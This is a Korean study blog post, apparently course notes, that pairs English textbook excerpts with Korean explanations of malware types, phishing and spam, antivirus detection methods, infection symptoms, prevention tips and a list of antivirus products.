블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

공지사항

태그목록

최근에 올라온 글



멀웨어(Malware)와 사회공학(Social Engineering)





■ 용어


Malware(MALicious softWARE, 악의적인 소프트웨어)
Malware(MALicious softWARE) and social engineering are two common threats that any organization will face. Within information technology (IT) security, these are relatively easy to prevent. However, that doesn’t reduce their importance. The damage can be extensive if an organization ignores these threats.


Anti-malware
반대한다는 뜻의 안티(Anti)와 악의적인 소프트웨어(Malicious Software) 두 개의 뜻이 합쳐진 것으로, 악의적으로 제작된 컴퓨터 프로그램을 전문으로 치료 및 차단 또는 제거하는 컴퓨터 프로그램을 일컫는 말. ([참고] dic.naver.com)




1. Understanding Malware Types(멀웨어의 종류)


Malware includes a wide range of software that has malicious intent. Malware is not software

that you would knowingly purchase or download and install. Instead, it is installed onto your system through devious means. Infected systems give various symptoms, such as running slower, starting unknown processes, sending out email without user action, random reboots, and more.

You might hear people use the term virus to describe all types of malware, but that isn’t

accurate. A virus is a specific type of malware, and malware includes many other types of malicious software, including worms, logic bombs, Trojans, ransomware, rootkits, spyware, and more.


바이러스는 멀웨어의 한가지 종류이며, 또한 멀웨어는 많은 다른 종류를 포함하고 있다. 예를 들어

악의적인 소프트웨어(malicious software),

웜(worms), 

논리 폭탄(logic bombs),

트로잔(trojans), 

랜섬웨어(ramsomware), 

루트킷(rootkits), 

스파이웨어(spyware), 

기타

등이 있다.



Viruses(바이러스)

 

A virus is a set of malicious code that attaches itself to a host application. The host application must be executed to run, and the malicious code executes when the host application is executed. The virus tries to replicate by finding other host applications to infect with the malicious code. At some point, the virus activates and delivers its payload.

 

Typically, the payload of a virus is damaging. It may delete files, cause random reboots, join the computer to a botnet, or enable backdoors that attackers can use to access systems remotely. Some older viruses merely displayed a message at some point, such as “Legalize Marijuana!” Most viruses won’t cause damage immediately. Instead, they give the virus time to replicate first.

 

A user will often execute the virus (though unknowingly), but other times, an operating system will automatically execute it after user interaction. For example, when a user plugs in an  infected USB drive, the system can execute the virus infecting the system. Note that not all malware needs user interaction to run. As an example, worms are self-replicating and do not need user interaction.

컴퓨터 바이러스는 스스로를 복제하여 컴퓨터를 감염시키는 컴퓨터 프로그램이다. 복제 기능이 없는 다른 종류의 악성 코드, 애드웨어, 스파이웨어와 혼동하여 잘못 쓰이는 경우도 있다. 바이러스는 한 컴퓨터에서 다른 컴퓨터로(일부 형식의 실행 코드로) 확산할 수 있다. 이를테면 사용자는 인터넷이나 네트워크를 통하여, 또는 플로피 디스크, CD, DVD, USB 드라이브와 같은 이동식 매체를 통하여 바이러스를 전파할 수 있다. 바이러스는 네트워크 파일 시스템이나, 다른 컴퓨터를 통해 접근하는 파일 시스템 상의 파일을 감염시킴으로써 다른 컴퓨터로의 확산 가능성을 높일 수 있다.

바이러스는 일반적으로 감염대상이 되는 프로그램 또는 코드에 바이러스 자신의 코드 및 변형 코드를 감염시키며 컴퓨터 시스템 내부에서 확산된다.


[일반 프로그램]

+-----+--------------------------------------+

| H   |   EXE Program                        +

+-----+--------------------------------------+


[바이러스 감염 프로그램]

+-----+--------------------------------------+-----------+

| |   EXE Program                        + Virus     |

+-----+--------------------------------------+-----------+

Worms(웜)

 

A worm is self-replicating malware that travels throughout a network without the assistance of a host application or user interaction. A worm resides in memory and is able to use different transport protocols to travel over the network.

 

One of the significant problems caused by worms is that they consume network bandwidth.

Worms can replicate themselves hundreds of times and spread to all the systems in the network. Each infected system tries to locate and infect other systems on the network, and network performance can slow to a crawl.

시스템 오동작, 파일 감염등 흔히 바이러스가 일으키는 유형, 증상에 가깝게 동작하며 일반적으로 시스템 파일 이름과 비슷하게 설치되거나 파일명은 같으나 경로만 다르게 설치되기도 하며 또한 레지스트리와 맞물려 동작하는 것도 악성 코드의 설치 배경과도 유사한 점이 있다.


컴퓨터 내부의 기억 장소에 코드 형태 또는 컴퓨터 내부 실행파일 형태로 존재한다. 실행시 파일이나 코드 자체를 네트워크와 전자우편 등을 통해 다른 시스템으로 자기 복제를 시도하는 형태이다.



Logic Bombs

 

A logic bomb is a string of code embedded into an application or script that will execute in response to an event. The event may be a specific date or time, when a user launches a specific program, or any event the programmer decides on.

 

There’s an often-repeated story about a company that decided it had to lay off an engineer due to an economic downturn. His bosses didn’t see him doing much, so they thought they could do without him. Within a couple of weeks after he left, they started having all sorts of computer problems they just couldn’t resolve.

 

They called him back, and within a couple of weeks, everything was fine. A few months later, they determined they had to lay him off again. You guessed it. Within a couple of weeks, things went haywire again.

 

The engineer had programmed a logic bomb that executed when the payroll program ran. It

checked for his name on the payroll, and when it was there, things were fine, but when his name wasn’t there, ka-boom!—he logic bomb exploded.

 

A logic bomb executes in response to an event, such as when a specific application is executed or a specific time arrives.

논리 폭탄이란 보통의 프로그렘에 오류를 발생시키는 프로그램 루틴을 무단으로 삽입하여 특정한 조건의 발생이나 특정한 데이터의 입력을 기폭제로 컴퓨터에 부정한 행위를 실행시키는 것 혹은 특정한 시기나 일정한 조건이 충족되는 경우 프로그램이 스스로 작동하여 컴퓨터나 데이터를 침해하는 프로그램을 말한다. 예를 들어 "13일의 금요일"과 같이 일정조건이 만족되면 자동적으로 시스템 파괴활동을 시작하는 일종의 컴퓨터 바이러스로서 귀중한 정보와 프로그램 무차별 삭제하거나 컴퓨터에 의해 작동/통제되는 시설 및 장비를 파괴시키는 수법이다. 프로그램이 전혀 예상하지 못한 파국적인 오류를 범하게 한다. 오류를 발생시키는 부호의 삽입에는 일반적으로 트로이목마을 응용한다. 논리폭탄이 바이러스와 구별되는 점은 자기복제의 기능이 없는 점이다.

Backdoors

 

A backdoor provides another way of accessing a system, similar to how a backdoor in a house provides another method of entry. Malware such as Trojans often install backdoors on systems to bypass normal authentication methods.

 

Application developers often code backdoors into applications, but this practice is not

recommended. For example, an application developer might create a backdoor within an application intended for maintenance purposes. However, if attackers discover the backdoor, they can use it to access the application.

 

Effective account management policies help prevent ex-employees from creating backdoors after they are fired. For example, if an employee loses network access immediately after being fired, the employee cannot create a backdoor account. In contrast, if an administrator retains network access, he has the opportunity to create another administrative account that he can use even if his original account is disabled. That’s exactly what a Fannie Mae Unix engineer did after being told he was fired.

 

Fannie Mae’s account management policy did not revoke his elevated system privileges right away, giving him time to create a backdoor account. After going home, he accessed the system remotely and installed a logic bomb script scheduled to run at 9:00 a.m. on January 31. If another administrator hadn’t discovered the logic bomb, it would have deleted data and backups for about four thousand servers, changed their passwords, and shut them down.

 

A backdoor provides another of way of accessing a system. Many types of malware create backdoors, allowing attackers to access systems from remote locations. Employees have also created backdoors in applications and systems.

지속적인 세션 유지


Trojans

 

A Trojan, also called a Trojan horse, looks like something beneficial, but it’s actually something malicious. According to a report by PandaLabs, Trojans represented over 70 percent of new malware strains in 2013, and they also represented 78 percent of malware infections. Trojans frequently create backdoors, allowing criminals to connect to systems remotely after they are infected.

 

Trojan horses are named after the infamous horse from the Trojan War. In Greek mythology, the Achaeans tried to sack the city of Troy for several years, but they simply couldn’t penetrate the city’s defenses. At some point, someone got the idea of building a huge wooden horse and convincing the people of Troy that it was a gift from the gods. Warriors hid inside, and the horse was rolled up to the gates.

 

The people of Troy partied all day and all night celebrating their good fortune, but when the city slept, the warriors climbed down from inside the horse and opened the gates. The rest of the warriors flooded in. What the Greek warriors couldn’t do for years, the Trojan horse helped them do in a single day.

 

In computers, a Trojan horse can come as pirated software, a cool screen saver, a useful  utility, a game, or something else that users may be enticed to download and try. Attackers are increasingly using drive-by downloads to deliver Trojans. In a drive-by download, web servers include malicious code that attempts to download and install itself on user computers after the user visits. Here are the typical steps involved in a drive-by download:

 

Attackers compromise a web site to gain control of it.

Attackers install a Trojan embedded in the web site’s code.

Attackers attempt to trick users into visiting the site. Sometimes, they simply send the link to thousands of users via email hoping that some of them click the link.

When users visit, the web site attempts to download the Trojan onto the users’ systems.

 

Another Trojan method that has become popular in recent years is rogueware, also known as

scareware. Rogueware masquerades as a free antivirus program. When a user visits a site, a message on the web page or a pop-up appears indicating it detected malware on the user’s system. The user is encouraged to download and install free antivirus software.

On the surface, this free antivirus software looks useful. However, it isn’t. If a user installs and runs it on a system, it appears to do a system scan. After the scan completes, it reports finding multiple issues, such as infections by dozens of viruses. The report isn’t true. The application reports these issues even on a freshly installed operating system with zero infections.

 

It then encourages the user to resolve these issues immediately. If the user tries to  resolve the issues, the program informs the user that this is only the trial version, and the trial version won’t resolve these issues. However, for the small fee of $79.95, users can unlock the full version to remove the threats. Some rogueware installs additional malicious components. For example, it can join the computer to a botnet, or allow the attacker to take remote control of the infected system.

 

As mentioned previously, you can also infect a system by plugging in an infected USB flash

drive. In this case, the attacker can install the Trojan onto several USB drives and leave them lying around. Someone picks one up, plugs it in, and the system is infected. The system then infects other USBs, which infect other systems.

 

A Trojan appears to be something useful but includes a malicious component, such as installing a backdoor on a user’s system. Many Trojans are delivered via drive-by downloads. They can also infect systems from rogueware, pirated software, games, or infected USB drives.

흔히 트로이 목마 바이러스라고 불려지며 지금도 바이러스 범주에 속하는지 아니한는지는 Worm과 마찬가지로 논의의 여지가 있다 하겠다. 여러 유형별로 증상은 다양하며 목적을 떠나 시스템 사용이 불가하거나 정보를 유출하는 등의 증상, 그 외 예측할 수 없는 비정상적인 행동이 발생하면 악성 코드 쪽으로도 분류 가능하다.


트로이목마는 자기복제 기능은 없으나 정상적인 프로그램 내에 비밀번호 유출등 악의적 기능을 포함시킨 후 이를 동작하게 하는 악성 프로그램이다. 운영체계에 대한 일반적인 침투 유형의 하나로, 계속적인 불법 침투가 가능하도록 시스템 내에 부호를 만들어 놓음으로써 영구적으로 시스템 내에 상주할 수도 있고, 소기의 목적을 달성한 후에 그 자취를 모두 지워 버릴수도 있다.



Botnets

 

A botnet combines the words robot and network. It includes multiple computers that act as

software robots and function together in a network (such as the Internet), often for malicious purposes. The computers in a botnet are called zombies and they will do the bidding of whoever controls the botnet.

 

Bot herders are criminals who manage botnets. They attempt to infect as many computers as

possible and control them through one or more servers running command-and-control software. The infected computers periodically check in with the command-and-control servers, receive direction, and then go to work. The user is often unaware of the activity.

 

Most computers join a botnet through malware infection. For example, a user could download

pirated software with a Trojan or click a malicious link, resulting in a drive-by download. The malware then joins the system to a botnet.

 

As an example, Coreflood malware is a Trojan horse that opens a backdoor on compromised

computers. Authorities shut down the Coreflood botnet in April 2011, and its command-and-control servers managed about 2.3 million computers at that time. Experts estimate they had stolen between $10 million and $100 million before authorities shut them down.

 

Infecting 2.3 million computers and stealing tens of millions of dollars draws a lot of attention.

 

To avoid attention, many botnets manage fewer than 50,000 computers and fly under the radar of most authorities. The result is the same for the victims, though. It doesn’t matter if victims are robbed by a huge botnet or a smaller botnet; they have still been robbed.

 

Botnet herders sometimes maintain complete control over their botnets. Other times, they rent access out to others to use as desired. Some of the instructions sent by the command-and-control servers include:

Send spam.

Launch a distributed denial-of-service attack.

Download additional malware, adware, or spyware such as keyloggers.

봇(bot)이라는 용어는 로봇 (robot)을 줄인 말입니다. 범죄자는 사용자의 컴퓨터를 좀비라고도 하는 봇 상태로 바꿀 수 있는 악성 소프트웨어 (맬웨어)를 유포합니다. 이러한 상황이 발생하면, 사용자가 모르는 사이에 컴퓨터가 인터넷 상에서 자동화된 작업을 수행할 수 있습니다.


일반적으로 범죄자는 봇을 사용하여 많은 컴퓨터를 감염시킵니다. 이러한 컴퓨터는 네트워크, 즉 봇넷을 형성합니다. 범죄자는 봇넷을 이용하여 스팸 메일 전송, 바이러스 유포, 컴퓨터 및 서버 공격을 감행하고, 기타 범죄 및 사기 행각을 벌일 수 있습니다. 컴퓨터가 봇넷의 일부가 되면 컴퓨터의 성능이 저하될 수 있으며, 사용자는 의도하지 않게 범죄 행위를 도울 수 있습니다.




Ransomware(랜섬웨어)

 

A specific type of Trojan is ransomware. Attackers take control of the user’s computer and then demand the user pay a ransom to get the control back. Criminals often deliver ransomware via driveby downloads or embedded in other software. Two ransomware viruses that have attacked many people are the Police Virus and CryptoLocker, and they provide good examples of how ransomware works.

 

Ransomware is a type of malware that takes control of a user’s system or data. Criminals then attempt to extort payment from the victim. Ransomware often includes threats of damaging a user’s system or data if the victim does not pay the ransom.

랜섬웨어는 일종의 맬웨어 (악성 소프트웨어)로 사용자의 동의없이 해당 컴퓨터에 불법으로 설치됩니다. 불법으로 설치된 랜섬웨어로 해당 컴퓨터를 원격으로 잠글 수 있습니다. 그러면 팝업 창이 뜨면서 컴퓨터가 잠겼으니 금액을 지불하지 않으면 컴퓨터에 접속할 수 없다는 경고가 나타납니다.



Rootkits

 

A rootkit is a group of programs (or, in rare instances, a single program) that hides the fact that the system has been infected or compromised by malicious code. A user may suspect something is wrong, but antivirus scans and other checks may indicate everything is fine because the rootkit hides its running processes to avoid detection.

 

In addition to modifying the internal operating system processes, rootkits often modify system files such as the Registry. In some cases, the rootkit modifies system access, such as removing users’administrative access.

 

Rootkits have system-level access to systems. This is sometimes called root-level access, or kernel-level access, indicating that they have the same level of access as the operating system.

 

Rootkits use hooked processes, or hooking techniques, to intercept calls to the operating system. In this context, hooking refers to intercepting system-level function calls, events, or messages. The rootkit installs the hooks into memory and uses them to control the system’s behavior.

 

Antivirus software often makes calls to the operating system that could detect malware, but the rootkit prevents the antivirus software from making these calls. This is why antivirus software will sometimes report everything is OK, even if the system is infected with a rootkit. However, antivirus software can often detect the hooked processes by examining the contents of the system’s random access memory (RAM).

 

Another method used to detect rootkits is to boot into safe mode, or have the system scanned before it boots, but this isn’t always successful. It’s important to remember that rootkits are very difficult to detect because they can hide so much of their activity. A clean bill of health by a malware scanner may not be valid.

 

The Trojan.Popureb/E rootkit is an example of a rootkit. Among other things, it overwrites the hard drive’s Master Boot Record (MBR), where code is stored to start the operating system. The code on the MBR starts before the operating system boots and it remains invisible to the operating system and security software. Even when antivirus software detects the rootkit, the rootkit protects itself. It prevents any attempts to overwrite the MBR by changing write operations to read operations, though it reports that the write operation completed successfully.

 

It’s important to remember that behind any type of malware, you’ll likely find an attacker involved in criminal activity. Attackers who have successfully installed a rootkit on a user’s system might log on to the user’s computer remotely, using a backdoor installed by the rootkit. Similarly, attackers might direct the computer to connect to computers on the Internet and send data. Data can include anything collected from a keylogger, collected passwords, or specific files or file types stored on the user’s computer.

 

Rootkits have system-level or kernel-level access and can modify system files and system access. Rootkits hide their running processes to avoid detection with hooking techniques. Tools that can inspect RAM can discover these hidden hooked processes .



Spyware

 

Spyware is software installed on users’ systems without their awareness or consent. Its purpose is often to monitor the user’s computer and the user’s activity. Spyware takes some level of control over the user’s computer to learn information and sends this information to a third party. If spyware can access a user’s private data, it results in a loss of confidentiality.

 

Some examples of spyware activity are changing a user’s home page, redirecting web browsers, and installing additional software, such as search engines. In some situations, these changes can slow a system down, resulting in poorer performance. These examples are rather harmless compared with what more malicious spyware (called privacy-invasive software) may do.

 

Privacy-invasive software tries to separate users from their money using data-harvesting

techniques. It attempts to gather information to impersonate users, empty bank accounts, and steal identities. For example, some spyware includes keyloggers used to capture keystrokes. The keystrokes are stored in a file, and the spyware periodically sends the file to the attacker. In some instances, the spyware allows the attacker to take control of the user’s system remotely.

Spyware is often included with other software like a Trojan. The user installs one application but unknowingly gets some extras. Spyware can also infect a system in a drive-by download. The user simply visits a malicious web site that includes code to automatically download and install the spyware onto the user’s system.

스파이웨어란 무료로 배포되는 공개 소프트웨어에 들어 있는 일종의 프로그램 모듈을 통칭하는 것으로 공개 소프트웨어의 광고효과를 알기 위해 컴퓨터 사용자 이름이나 IP 주소, 방문한 웹사이트 목록, 클릭한 배너 광고 등의 정보를 미리 설정해 놓은 특정 서버로 보내는 역할을 합니다.


일반적으로 트로이목마(trojan horse)나 백도어(Backdoor) 프로그램은 그 자체가 악의적 목적으로 제작됐지만, 스파이웨어는 프로그램 사용자에 대한 개인정보를 가져가는 것으로 알려져 있으나 이 과정에서 여러가지 악의적인 목적으로 사용되어 질 수 있기 때문에 심각한 문제가 발생할 여지가 있습니다.


특히, 국내 사용자의 경우 프로그램 설치시 영문으로 제시되는 소프트웨어 사용 동의서의 내용(사용자 정보 유출 가능성과 이에 대한 소프트웨어 제작자의 책임이 없음) 을 관심있게 확인하지 않은채 공공연히 사용되고 있기때문에 프로그램 설치시 보여지는 사용권 동의서 내용 등을 자세히 살펴 보는 주의가 필요합니다.


스파이웨어 동작(개인정보 유출)

시스템 레지스트리에 있는 사용 이름

사용자 IP 주소

설치된 소프트웨어의 목록

사용자가 방문한 URL 목록

클릭한 광고 배너

다운로드한 파일 정보

브라우저 사용시 동작 정보


유해 가능 프로그램 중 사용자가 정확한 용도를 모르고 설치하여 사용자를 불편하게 하거나 사생활을 침해할 수 있는 유형이다.



Adware(Advertisement Software)

 

When adware first emerged, its intent was usually to learn a user’s habits for the purpose of targeted advertising. As the practice of gathering information on users became more malicious, more people began to call it spyware. However, some traditional adware still exists.

 

A common type of adware is pop-ups. For example, while you are visiting a site, another

browser window appears, or pops up, with an advertisement. These pop-up windows aren’t

malicious, but they are annoying.

 

Sometimes pop-ups can be helpful. As a legitimate example, my online bank has interest-rate information that I can view. When I click on this link, it pops up another window showing the interestrate information without taking me away from the current page I’m viewing.

 

The term adware also applies to software that is free but includes advertisements. The user is well aware that the advertisements appear, and has the option to purchase a version of the software that does not include the ads. All of this is aboveboard without any intention of misleading the user.

 

Spyware monitors a user’s computer. Pop-ups are annoying windows that appear while browsing. Many pop-ups are adware designed to market products to users.

애드(advertisement)와 소프트웨어(software)의 합성어로, 광고를 목적으로 제작된 소프트웨어를 의미합니다. 특정 사이트나 메일의 액티브X 컨트롤(ActiveX Control)을 다운로드 받음으로써 설치가 되며, 이후 바탕화면에 ‘인터넷 바로가기’ 파일을 만드는 등의 동작을 하여 사용자에게 접속을 유도하게 됩니다. 또한 무분별한 팝업 광고(성인광고, 일반광고)를 돌출시켜 인터넷 사용을 방해하는 경우도 있습니다


주로 배포, 제작한 사이트에 대한 상업용 광고 목적으로 만들어진 악성코드이며, 공통적인 증상은 특정 폴더내 아이콘 파일(확장자: URL, LNK, ICO)을 설치하고 익스플로러의 시작 페이지를 변경, BHO(Browser Helper Object) 객체를 이용, 브라우저내 특정 이벤트를 가로채 해당 사이트로 네비케이트 혹은 팝업 윈도우를 생성할 수도 있다. 또한 BHO를 내장한 Adware가 다량 설치된 경우 브라우저 성능이 저하될 수도 있으며, 특히 여러 유형 중 국내외 사이트를 통틀어 가장 많이 사용되는 것은 Active X 및 인스톨 실드 등으로 시스템에 설치된다. 언 인스톨 기능을 지원 할 수도 있고 그렇지 않을 수도 있다. 그리고 시작 페이지 재설정을 하거나 아이콘들을 제거하더라도 레지스트리 및 관련 파일들이 남아 있다면 로그인시 자동으로 생성 될수도 있다.


유해 가능 프로그램 중 사용자의 동의를 구하지 않고 광고를 목적으로 실행되는 유형이다.



Hoax

 

실제로 족재하지 않지만 사용자들이 하여금 믿게 하기 위하여 정상파일을 악성코드로 속이는 행위이다.




바이러스/트로이목마/웜 특성 비교

 

자기복제

감염대상

형태

복구방법

바이러스

O

O

기생/겹침

치료

트로이목마

X

X

독립

삭제

O

X

독립

삭제



2. Recognizing Common Attacks(일반적인 공격 방법의 종류)


In addition to malware, it’s important to understand some other common attacks. Social

engineering includes several techniques attackers use to trick users.


Additionally, many attackers use email, instant messaging, and the phone to deliver attacks.





(1). Recognizing Other Attacks(다른 공격 방법의 종류)



Beyond social engineering, users should know about many common attacks. This includes

attacks such as phishing, spear phishing, whaling, and vishing.


Spam(스팸)

 

Spam is unwanted or unsolicited email. Depending on which study you quote, between 80 percent and 92 percent of all Internet email is spam. Some spam is harmless advertisements, while much more is malicious. Spam can include malicious links, malicious code, or malicious attachments.

 

Even when it’s not malicious, when only 1 of 10 emails is valid, it can waste a lot of your time. In some cases, legitimate companies encourage users to opt-in to their email lists and then send them email about their products. When users opt-in to a mailing list, they agree to the terms. On the surface, you’d think that this means that you agree to receive email from the company and that’s true.

 

However, terms often include agreeing to allow their partners to send you email, which means the original company can share your email address with others.

 

Legitimate companies don’t send you malicious spam, but they might send you more email than you want. Laws require them to include the ability to opt-out, indicating you don’t want to receive any more emails from them. Once you opt-out, you shouldn’t receive any more emails from that company.

 

Originally, spam was just unwanted advertisements sent out to people, even if they chose to optout.

However, attackers began using spam for malicious purposes. Attackers often include malicious attachments and malicious code within spam email. More recently, spam attacks include malicious links. If users click on a link in a malicious email, it often takes them to a site hosting a drive-by download, as mentioned in the earlier “Trojan” section.

 

Criminals use a variety of methods to collect email addresses. They buy lists from other

criminals and harvest them from web sites. Some malware scans address books of infected computers to collect email. Because they are criminals, they don’t care about laws, but they might include optout instructions in spam they send. However, instead of this getting you off the email list, it provides them confirmation that your email address is valid. The result is more spam.







Phishing

 

Phishing is the practice of sending email to users with the purpose of tricking them into revealing personal information or clicking on a link. A phishing attack often sends the user to a malicious web site that appears to the user as a legitimate site.

 

The classic example is where a user receives an email that looks like it came from eBay,

PayPal, a bank, or some other well-known company. The “phisher” doesn’t know if the recipient has an account at the company, just as a fisherman doesn’t know if any fish are in the water where he casts his line. However, if the attacker sends out enough emails, the odds are good that someone who receives the email has an account.

 

The email may look like this:

“We have noticed suspicious activity on your account. To protect your privacy, we will suspend your account unless you are able to log in and validate your credentials. Click here to validate your account and prevent it from being locked out.”

 

The email often includes the same graphics that you would find on the vendor’s web site or an actual email from the vendor. Although it might look genuine, it simply isn’t. Legitimate companies do not ask you to revalidate your credentials via email. If you go directly to the site, you might be asked to provide additional information to prove your identity beyond your credentials, but legitimate companies don’t send emails asking you to follow a link and input your credentials to validate them.

 

Spam is unwanted email. Phishing is malicious spam. Attackers attempt to trick users into revealing sensitive or personal information or clicking on a link. Links within email can also lead unsuspecting users to install malware .

피싱은 사용자 이름, 암호 및 신용 카드 번호를 포함한 기밀을 요하는 정보를 빼가기 위해 ISP(인터넷 서비스 제공업체), 은행 또는 온라인 경매 사이트와 같은 합법적인 기관으로 가장합니다. 전형적인 피싱 방법은 이메일이나 메신저를 통해 합법적인 사이트와 거의 비슷한 위조된 웹 사이트로 유인하여 사용자가 기밀을 요하는 정보를 입력하도록 합니다.





Spear Phishing

 

Spear phishing is a targeted form of phishing. Instead of sending the email out to everyone indiscriminately, a spear phishing attack attempts to target specific groups of users, or even a single user. Spear phishing attacks may target employees within a company or customers of a company.

 

As an example, an attacker might try to impersonate the CEO of an organization in an email. It’s relatively simple to change the header of an email so that the From field includes anything, including the CEO’s name and title. Attackers can send an email to all employees requesting that they reply with their password. Because the email looks like it’s coming from the CEO, these types of phishing emails fool many users.

 

One solution that deters the success of these types of spear phishing attacks is to use digital signatures. The CEO and anyone else in the company can sign their emails with a digital signature.

 

This provides a high level of certainty to personnel on who sent the email. Chapter 10,

“Understanding Cryptography,” covers digital signatures in great depth.

스피어 피싱 뜻은 정보 고위관부, 유명인, 군인 등과 같은 특정인을 대상으로 이들의 개인정보를 캐내기 위한 피싱 공격을 지칭하는 용어로, 물 속에 있는 물고기를 작상을 잡는 '작살 낚시'에 빗댄 용어를 말한다.




3. Protecting Systems with Anti-Malware Software


Malware is a significant threat for any organization. Administrators commonly implement layered security, or a defense-in-depth plan, to protect against malware. The following bullets list some common security controls used to protect against malware:


메일 서버에 안티 멀웨어가 설치된 경우(Anti-malware software on mail servers.) Spam often includes malware as attachments, but anti-malware software can detect and block it. The software strips potentially malicious attachments off the email, and sends a notification to the user explaining what was removed and why.

모든 서버와 워크스테이션에 설치된 경우(All systems.) All workstations and servers have anti-malware software installed. Servers may have additional, specialized anti-malware software installed depending on the applications running on the servers.

네트워크 경계선이나 방화벽에 설치된 경우(Boundaries or firewalls.) Many networks include detection tools that monitor network traffic through the firewall. For example, unified threat management (UTM) inspects network traffic to reduce the risk of malware entering the network. Chapter 3, “Understanding Basic Network Security,” covers UTM systems.



Antivirus Software


Anti-malware software provides protection against many types of malware. You’ll often hear the term antivirus software indicating it only protects against viruses. However, the lines have blurred.


Viruses aren’t the only threats. Attackers have changed their methodologies using different types of malware, and antivirus software vendors have adapted by including methods to detect and block these new threats. Most antivirus software detects, blocks, and removes several different types of malware, such as viruses, Trojans, worms, rootkits, spyware, and adware.


Antivirus software provides real-time protection and can perform both scheduled and manual scans. The real-time protection continuously monitors the system. For example, when a user visits a web site, antivirus software scans the downloaded web site files and attempts to block malicious code. Similarly, when a user downloads or opens a file, antivirus software scans it before opening it.


Scheduled scans occur regularly, such as once a week. If users or technicians detect suspicious activity, they can perform manual scans to check the system.


Antivirus software detects viruses using either signature-based detection or heuristic-based detection.


Signature-Based Detection(스그니쳐 기반 감지)

 

Viruses and other malware have known patterns. Signature files (also called data definition files) define the patterns, and the antivirus software scans files for matching patterns. When the software identifies a matching pattern, it reports it as an infection and takes action, such as deleting or quarantining the file.

 

A quarantined virus is not harmful to the system while it is in quarantine, but it’s still available for analysis. As an example, a security professional could release a quarantined virus into an unprotected but isolated virtual environment for research and study.

 

Malware developers constantly release new viruses, so it’s important to update signature definition files regularly. Most antivirus software includes the ability to automate the process of checking and downloading updated signature definition files. They typically check for updates several times a day.

 

It’s also possible to download and install signature files manually. Administrators do this when updating systems that do not have Internet access. When doing so, it’s important for administrators to ensure the signature file has not lost data integrity. They do so by comparing the hash of the signature file posted on the antivirus vendor’s web site with the hash of the downloaded file. To see an example of how to compare hashes, check out the Creating and Comparing Hashes Lab. You can access the online exercises for this book at http://gcgapremium.com/labs/.

 

Antivirus software detects and removes malware, such as viruses, Trojans, and worms. Signature-based antivirus software detects known malware based on signature definitions. Heuristic-based software detects previously unknown malware based on behavior.



Heuristic-Based Detection(행위 기반 감지/체험 기반 감지)

 

Some antivirus software includes heuristic-based detection. Heuristic-based detection attempts to detect viruses that were previously unknown and do not have signatures. This includes zero-day exploits, mentioned in Chapter 4, “Securing Your Network.”

 

Heuristic-based analysis runs questionable code in a sandbox or virtualized environment specifically designed to protect the live environment, while it observes its behavior. Most viruses engage in viral activities—ctions that can be harmful, but are rarely performed by legitimate programs. The heuristic-based analysis detects these viral activities.

 

As an example, polymorphic malware adds variations to files when it creates copies. It’s highly unusual for any application to add variations in files like this, and heuristic methods are often successful at detecting polymorphic malware.



Checking File Integrity(파일 무결성 점검)

 

Some antivirus scanners use file integrity checkers to detect modified system files. A file integrity checker calculates hashes on system files as a baseline. It then periodically recalculates the hashes on these files and compares them with the hashes in the baseline. If the hashes are ever different, it indicates the system files have been modified. When an antivirus scanner detects a modified file, it sends an alert. Many times these alerts can detect rootkit infections.

 

When searching for rootkits, antivirus scanners also have the ability to inspect RAM.








■ 악성코드의 증상과 예방법


악성 코드의 증상

브라우저를 실행할 때 마자 특정 웹사이트로 이동하는 경우(시작페이지가 매번 변경됨)

원치 않는 성인광고 및 대출광고 팝업이 나타나는 경우

주소창에 한글 인터넷주소를 쓰면 다른곳을 접속된다.

인터넷 익스플러러에 툴바 및 SearchBar가 생겨난다.

갑자기 컴퓨터와 네트워크가 느려진 경우

사용자가 변경하지 않은 윈도우 설정이 바뀌는 경우

건드리지 않은 파일이 변경되었거나 삭제되는 경우

이상한 메시지 박스가 나타나(Gain, UCMORE) 사용자 계정과 패스워드를 물어보는 경우

CD-ROM등이 알수 없는 이유로 저절로 열리고 닫히는 경우

PC를 사용하지 않는데 하드디스크가 작업 중일 경우

사용하는 프로그램을 정지 했을때도 CPU의 사용량이 줄지 않는 경우


예방법

신뢰할 수 없다고 의심이 되는 웹사이트 방문을 하지 않는다.

Active-X 컨트롤 창에서 인증한 업체명이 없으면 [취소] 버튼으로 컨트롤을 설치하지 않는다.

스팸메일을 바로 삭제한다.

정품 소프트웨어를 사용한다.

애드웨어 사용시 약관을 꼼꼼히 읽어보고 개인정보 유출이 명시되어 있는지 살펴본다.

정기적으로 <제어판> -> <인터넷옵션>에서 <쿠키삭제>,<파일삭제>를 한다.

가장 중료한 것은 Anti-malware, Anti-virus 제품을 설치하고 실시간으로 자동 감지하도록 하는 것이다.





■ 백신 프로그램의 종류

ALYac(https://namu.wiki/w/%EC%95%8C%EC%95%BD(%EC%9D%B4%EC%8A%A4%ED%8A%B8%EC%86%8C%ED%94%84%ED%8A%B8))

AVG(https://namu.wiki/w/AVG)

AVware

Ad-Aware

AegisLab

AhnLab-V3(https://namu.wiki/w/V3%20Lite)

Alibaba

Antiy-AVL

Arcabit

Avast(https://namu.wiki/w/%EC%96%B4%EB%B2%A0%EC%8A%A4%ED%8A%B8?from=avast)

Avira (no cloud)

Baidu

Baidu-International

BitDefender(https://namu.wiki/w/%EB%B9%84%ED%8A%B8%EB%94%94%ED%8E%9C%EB%8D%94)

Bkav

CAT-QuickHeal

CMC

ClamAV

Comodo Antivirus(https://namu.wiki/w/Comodo)

Cyren

DrWeb

ESET-NOD32

Emsisoft

F-Prot

F-Secure

Fortinet

GData

Ikarus

Jiangmin

K7AntiVirus

K7GW

Kaspersky(https://namu.wiki/w/%EC%B9%B4%EC%8A%A4%ED%8D%BC%EC%8A%A4%ED%82%A4)

Kingsoft

Malwarebytes

McAfee

McAfee-GW-Edition

eScan

Microsoft Defender(https://namu.wiki/w/Windows%20Defender)

NANO-Antivirus

Panda Cloud Antivirus

Qihoo-360

Rising

SUPERAntiSpyware

Sophos

Symantec

Tencent

TheHacker

TotalDefense

TrendMicro

TrendMicro-HouseCall

VBA32

VIPRE

ViRobot

Yandex

Zillya

Zoner

nProtect


[참고 사이트]

https://namu.wiki/w/%EB%AC%B4%EB%A3%8C%EB%B0%B1%EC%8B%A0








백신 프로그램의 구성과 한계점


■ 백신 프로그램 구성

수동검사 : 파일과 레지스트리 등에서 검사

실시간 검사 : 파일 복사, 실행 때 검사

